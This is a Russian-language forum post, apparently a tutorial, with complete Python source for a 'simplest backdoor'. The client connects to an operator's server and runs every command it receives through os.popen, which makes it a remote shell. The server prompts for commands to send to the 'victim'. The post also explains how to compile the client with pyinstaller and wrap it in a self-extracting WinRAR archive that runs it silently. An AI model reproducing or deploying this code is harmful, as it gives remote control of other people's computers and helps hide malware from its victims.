- 34
- 34
Это самый простой Backdoor , который можно только придумать...
Суть его заключается в том , что наш client.py будет исполнять введенные нами команды в консоли server.py.
Начнем с зависимостей.
Теперь переходим к самому Backdoor'y :
На этом клиентская часть закончена.
Переходим к серверу.
Все. Теперь открываем CMD и с помощью pyinstaller компилируем client.py
Для нормальной работы скрипта нужно сначала запустить server.py а после ждать "клиентов"
Как пример , можно засунуть dist/client в WinRAR SFX и указать исполнение файла client.exe
Суть его заключается в том , что наш client.py будет исполнять введенные нами команды в консоли server.py.
Начнем с зависимостей.
pip install pyinstaller
Теперь переходим к самому Backdoor'y :
client.py:
import os
import socket
# создаем функцию , которая будет обрабатывать наши команды
def ExecuteCommands(command):
execute_c = os.popen(command).read()
return execute_c
# создаем главную функцию и обработку команд
def Main():
host = 'localhost' #- Тут ваш IP localhost == 127.0.0.0.
port = 4444 # Порт, юзайте который никогда не занят
while True:
try:
soc = socket.socket() # Создаем сокет
soc.connect((host,port)) # передаем в функцию коннект IP и Port
except:
break # Выход из цикла в случае неудачи
while True:
try:
data = soc.recv(1024).decode() # получаем данные из консоли сервера
execute_c = ExecuteCommands(str(data)) # передаем функции полученную команду от сервера
if len(execute_c) == 0: # Если р-тат пуст , то отправляем пробел
soc.send(''.encode())
else:
soc.send(execute_c.encode())
except:
break
soc.close()# закрываем соединение
if __name__ == "__main__":
Main()
На этом клиентская часть закончена.
Переходим к серверу.
server.py:
import socket
def Main():
host = 'localhost' #Т акже как и в client.py
port = 4444 # Также как и в client.py
soc = socket.socket()# Cоздаем сокет
soc.bind((host,port)) # занимаем порт и ip
soc.listen(1) # принимаем только одного клиента
print("Wait victim...")
connection,address = soc.accept()
print(" Sucsessfull connection " +str(address))
while True:
try:
toSend = input("SendCommand ->")
connection.send(toSend.encode()) # Send command
data = connection.recv(1024).decode()
print(data) # Полученная информация выводится на экран
except:
break
print("Connection refused")
connection.close()
if __name__ == "__main__":
Main()
Код:
pyinstaller путь до client.py
Для нормальной работы скрипта нужно сначала запустить server.py а после ждать "клиентов"
Как пример , можно засунуть dist/client в WinRAR SFX и указать исполнение файла client.exe
Последнее редактирование: